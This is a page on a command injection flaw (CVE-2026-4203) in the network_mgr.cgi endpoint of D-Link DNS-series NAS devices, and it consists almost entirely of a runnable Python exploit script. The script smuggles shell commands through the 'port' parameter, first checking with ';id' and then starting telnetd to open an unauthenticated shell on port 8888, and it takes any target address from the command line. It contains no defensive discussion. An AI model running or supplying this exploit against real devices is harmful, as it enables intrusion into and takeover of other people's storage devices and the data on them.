D-Link多型号网络设备network_mgr.cgi命令注入漏洞(CVE-2026-4203)

import requests import sys # CVE-2026-4203 PoC - D-Link network_mgr.cgi Command Injection # Target: D-Link DNS-320, DNS-325, DNS-326, etc. def exploit(target_ip, target_port=80): """ Exploit CVE-2026-4203 by injecting commands via network_mgr.cgi """ # Base URL for the vulnerable endpoint base_url = f"http://{target_ip}:{target_port}" # Vulnerable endpoint endpoint = "/cgi-bin/network_mgr.cgi" # Payload: Inject command to create a reverse shell connection # Using ';' to chain commands injected_cmd = ";telnetd -p 8888 -l /bin/sh &" # Target function: cgi_portforwarding_add params = { "cmd": "portforwarding_add", "port": "80" + injected_cmd, # Injecting via port parameter "ipaddr": "192.168.1.100" } print(f"[*] Targeting: {base_url}") print(f"[*] Sending malicious request...") try: response = requests.get(base_url + endpoint, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable by executing simple test command """ base_url = f"http://{target_ip}:{target_port}" endpoint = "/cgi-bin/network_mgr.cgi" # Test command: inject 'id' to verify command execution test_payload = ";id" params = { "cmd": "portforwarding_add", "port": "80" + test_payload, "ipaddr": "192.168.1.100" } try: response = requests.get(base_url + endpoint, params=params, timeout=10) if "uid=" in response.text or "uid=" in response.content.decode('utf-8', errors='ignore'): print("[+] Target is VULNERABLE!") return True else: print("[-] Target may not be vulnerable") return False except: print("[-] Connection failed") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-4203.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print("="*60) print("CVE-2026-4203 - D-Link network_mgr.cgi Command Injection") print("="*60) # Check vulnerability first if check_vulnerability(target, port): print("\n[*] Proceeding with exploitation...") exploit(target, port)